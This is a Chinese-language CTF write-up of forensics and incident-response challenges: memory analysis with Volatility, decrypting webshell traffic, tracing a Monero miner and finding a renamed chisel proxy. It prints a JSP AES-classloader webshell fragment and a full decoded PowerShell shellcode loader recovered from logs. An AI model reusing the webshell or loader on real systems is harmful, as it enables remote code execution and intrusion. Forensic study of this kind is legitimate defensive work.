rank:1
内存取证
内存取证-1
题目文件:SERVER-2008-20241220-162057**
请找到rdp连接的跳板地址
**flag格式 flag{1.1.1.1}
题目中看到是rdp服务,我们知道rdp服务的端口默认为3389
通过命令
python vol.py -f SERVER-2008-20241220-162057.raw windows.netstat
查看到
故flag为flag{192.168.60.220}
内存取证-2
题目文件:SERVER-2008-20241220-162057
请找到攻击者下载黑客工具的IP地址
flag格式 flag{1.1.1.1}
这道题由于vol3在cmdscan时频繁报错,使用volpro一键查询所有命令
得到ip,flag为flag{155.94.204.67}
内存取证-3
题目文件:SERVER-2008-20241220-162057
攻击者获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么
flag格式 flag{xxxx}
在查看命令行
python vol.py -f SERVER-2008-20241220-162057.raw windows.cmdline
时发现
通过filescan
python vol.py -f SERVER-2008-20241220-162057.raw windows.filescan
寻找偏移量
导出文件
python vol.py -f SERVER-2008-20241220-162057.raw windows.dumpfiles --physaddr=0x7e4cedd0
看到业务密码
内存取证-4
题目文件:SERVER-2008-20241220-162057
请找到攻击者创建的用户
flag格式 flag{xxxx}
直接查看注册表看看有什么用户,一个一个交上去试试
python vol.py -f SERVER-2008-20241220-162057.raw windows.registry.printkey
发现有Administrator和ASP.NET两个用户,尝试后ASP.NET正确
内存取证-5
题目文件:SERVER-2008-20241220-162057
请找到攻击者利用跳板rdp登录的时间
flag格式 flag{2024/01/01 00:00:00}
这道题需要将镜像中的security.evtx提取出来
使用官方的事件管理器打开后,查找ASP.NET用户的登录时间(事件id为4624,源ip应该为前面找到的ip)
值得一提的是,由于flag格式问题,flag为flag{2024/12/21 00:15:34}
内存取证-6
题目文件:SERVER-2008-20241220-162057
请找到攻击者创建的用户的密码哈希值
flag格式 flag{XXXX}
使用命令
python vol.py -f SERVER-2008-20241220-162057.raw windows.hashdump
签到
从给出的邮件头部信息中,我们可以看到以下几条 Received
头:
Received: from mail.da4s8gag.com ([140.143.207.229])
域名:mail.da4s8gag.com
Received: from mail.solar.sec (VM-20-3-centos [127.0.0.1])
域名:mail.solar.sec
发件顺序应该从最初的邮件服务器开始,逐步追溯到邮件被传递到的最终服务器。所以,邮件的发件顺序是从 mail.solar.sec
到 mail.da4s8gag.com
,然后再到 newxmmxszc6-1.qq.com
flag{mail.solar.sec|mail.da4s8gag.com|newxmmxszc6-1.qq.com}
日志流量
日志流量-1
题目文件:tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击:
黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。
flag格式 flag{xxxx}
翻阅文件夹,找到tomcat-wireshark\web\apache-tomcat-9.0.96\work\Catalina\localhost\ROOT\org\apache\jsp\b.java文件疑似木马
String code="ZiFsXmEqZ3tBN2I0X1g5ektfMnY4Tl93TDVxNH0="; String xc="a2550eeab0724a69"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
解密code即为我们需要的flag,而xc将在之后的题目中充当AES的密钥
日志流量-2
题目文件:tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。
flag格式 flag{xxxx}
在wire.pcap中,筛选http流量
在cyberchef中对流量逐个进行AES解密,密钥为上一问的xc,模式为ECB
在
这条流量中,找到密文,解密出flag
日志流量-3
题目文件:tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。
flag格式 flag{xxxx}
由于题目说是上传文件时,所以我们只关注向post传参的情况,在
这条流量中,解密出
一个pdf文件,保存下来打开得到flag
数据库
数据库-1
题目附件:mssql、mssql题-备份数据库
请找到攻击者创建隐藏账户的时间
flag格式 如 flag{2024/01/01 00:00:00}
使用7-zip打开vmdk文件,根据题目描述需要找到创建用户的时间,于是我们去找security.evtx文件。
在Windows\System32\winevt\Logs\路径下
创建用户的事件id为4720
数据库-2
题目附件:mssql、mssql题-备份数据库
请找到恶意文件的名称
flag格式 如 flag{.}
在文件系统里翻一下找到门罗币挖矿程序的名字
数据库-3
题目附件:mssql、mssql题-备份数据库
请找到恶意文件的外联地址
flag格式 如 flag{1.1.1.1}
由上题找到的挖矿程序,矿池地址一般在config.json文件中,打开后找到矿池地址
ping一下拿到ip
数据库-4
题目附件:mssql、mssql题-备份数据库
请修复数据库
flag格式 如 flag{xxxxx}
虽然没做出来,但看加密后的文件大概是将文件前一部分替换掉了,应该可以通过给出的数据库文件结构替换后恢复,工具有D-Recovery For SQL Server
找到主办方的文章
https://blog.csdn.net/solarset/article/details/144318706
数据库-5
题目附件:mssql、mssql题-备份数据库
请提交powershell命令中恶意文件的MD5
flag格式 如 flag{xxxxx}
直接将 powershell 日志拖出来分析
就 45 条 逐条看过去
发现有个命令很可疑
又是 base64 又是 Gzip 的
复制出密文拿 CyberChef 烤一下(得将最后的{0}换成A)
解 base64 和 Gzip 解压后得到
function tWk {
Param ($k0M, $ybp)
$f2w = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $f2w.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($f2w.GetMethod('GetModuleHandle')).Invoke($null, @($k0M)))), $ybp))
}
function lVhI5 {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $v8K8,
[Parameter(Position = 1)] [Type] $nZWM = [Void]
)
$p8dl = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$p8dl.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $v8K8).SetImplementationFlags('Runtime, Managed')
$p8dl.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $nZWM, $v8K8).SetImplementationFlags('Runtime, Managed')
return $p8dl.CreateType()
}
[Byte[]]$tUZml = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")
[Uint32]$uKrz = 0
$rS = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualAlloc), (lVhI5 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $tUZml.Length,0x3000, 0x04)
[System.Runtime.InteropServices.Marshal]::Copy($tUZml, 0, $rS, $tUZml.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll VirtualProtect), (lVhI5 @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($rS, [Uint32]$tUZml.Length, 0x10, [Ref]$uKrz)) -eq $true) {
$yfm6I = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll CreateThread), (lVhI5 @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$rS,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((tWk kernel32.dll WaitForSingleObject), (lVhI5 @([IntPtr], [Int32]))).Invoke($yfm6I,0xffffffff) | Out-Null
}
中间又有一串 base64 的密文
复制出来解 base64 再 md5 后包上flag头提交即可
flag{d72000ee7388d7d58960db277a91cc40}
综合应急
综合应急-1
查看每台主机的登录日志,时间最早的即为最先沦陷的主机
在web01的Windows PowerShell.evtx中找到从ip10.0.100.85下载2.exe的记录
web01的Microsoft-Windows-PowerShell%4Operational.evtx中
web01中Microsoft-Windows-PowerShell%4Operational中
web01的Application中可以看到,在执行完2.exe后紧接着执行了SpoolSample.exe
查看几个日志的计算机名称可以找到3个域
找到sql02在沦陷时间附近的登录日志,最早的为
挨个查看secrity日志,查看事件id4720,找到沦陷时间附近的创建用户事件
sql01中
综合应急-2
题目文件:FOG日志
攻击者上传了代理工具,请写出他的最终存放路径
格式为flag{x:\xxxxx\xxxx\xxxxxx}
翻找 web01 的 powershell 日志
能看到这行命令
疑似是从 10.0.100.85 这个 IP 下载 2.exe
2.exe 是恶意文件
所以这个 IP 很大概率和攻击者有关
那么我们在其他的日志里检索这个 IP
在 dc02 的 Sysmon%40perational.extx 日志能找到这个 IP 的记录
后面还跟着一个端口和 socks
根据经验我们可以判断出这可能是在建立连接
而建立连接应该会通过代理工具
但这个搜索软件无法显示检索字段前面的信息
所以我们需要打开日志来找这一段
检索 chisel 就能知道 这就是一款代理工具
在他的 github 上能找到的最新版本正好就是 1.10.1
所以这应该就是我们要找的代理工具
但提交不成功
猜测可能是改名了
但在这个日志中没找到相关的信息
但是我们已经知道他使用的软件了
他如果要改名也会留下痕迹
将在其他日志中爆搜 chisel
在 dc03 的日志中也有
往下追发现在桌面目录下有个333.exe
那么猜测这就是改名后的 chisel
提交正确
flag{C:\Users\Administrator\Desktop\333.exe}